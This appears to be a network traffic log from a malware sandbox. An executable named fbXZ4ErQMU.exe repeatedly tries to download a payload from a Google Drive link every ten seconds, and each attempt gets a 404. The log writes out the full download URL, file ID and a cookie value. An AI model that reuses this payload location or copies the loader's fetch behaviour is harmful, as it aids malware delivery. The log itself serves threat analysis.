2024-12-05 16:03:46 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:46 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:46 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-_mnH2hEEyFM_65q-zUjZfQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49760	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:46 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:46 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:46 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-7TnWtPbsWZ7wmD8vRnGV0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 X-GUploader-UploadID: AFiumC5optG5Un4AE1YB_ns3GjnZPPjMsYeraNIJue9hWMqGActRp3nNp3l8WXwX9QovpBY7WEYDDnRwsw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:03:46 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 2d 57 55 66 4b 4f 38 56 49 6a 2d 59 4d 4d 6b 52 31 43 7a 7a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="A-WUfKO8VIj-YMMkR1CzzA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49761	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:57 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:57 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:57 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-QUSSF-e5l-Fnc_2_1oF4OQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49762	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:03:57 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:03:58 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:03:58 GMT Content-Security-Policy: script-src 'nonce-icaGCId8_gFuSdVpjuZkXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC406yfPXNi0hDG2XfAmUFRhutX9VZPbMO3v_cKFkQUtD3MR5NZuswmQBbI95Yt3njF0DN8rBMljTg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:03:58 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 31 51 6e 49 41 57 79 65 64 32 39 75 6e 6f 4c 5a 49 36 49 36 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="N1QnIAWyed29unoLZI6I6Q">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49763	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:04:08 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:08 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:08 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-gKf9A7JvjBh-oTnC2Z5lJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49764	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:04:09 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:09 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:09 GMT Content-Security-Policy: script-src 'nonce-Bc_2vepgCjqMuBTIqRBnpw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC4eVvjuM7JnlEacZhEo5fECOFN3i6ig_GkQRtxdJhXATneCuct0yPQ3qOY9tIV5Q2ehUt9ELSoS9w Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:04:09 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 42 6d 56 7a 74 65 6e 77 50 6e 31 54 4c 72 74 6d 4f 6a 4e 49 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GBmVztenwPn1TLrtmOjNIQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49765	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:04:19 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:19 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:19 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-EtXWavYe5oppyNaK2ePbNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49766	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:04:20 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:20 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:20 GMT Content-Security-Policy: script-src 'nonce-dzfoslekdVLnTmyg9QmvDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC4o1auPodTVc1U8tdZnCmRNEnV4MrVkQZ-F6ewcygyrvkIfkGIwvDZQiE7yr88u0yt91Hh1_GAAGA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:04:20 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 71 6d 30 78 43 73 72 49 63 37 67 46 73 2d 48 75 4e 6c 76 4e 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bqm0xCsrIc7gFs-HuNlvNg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49767	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
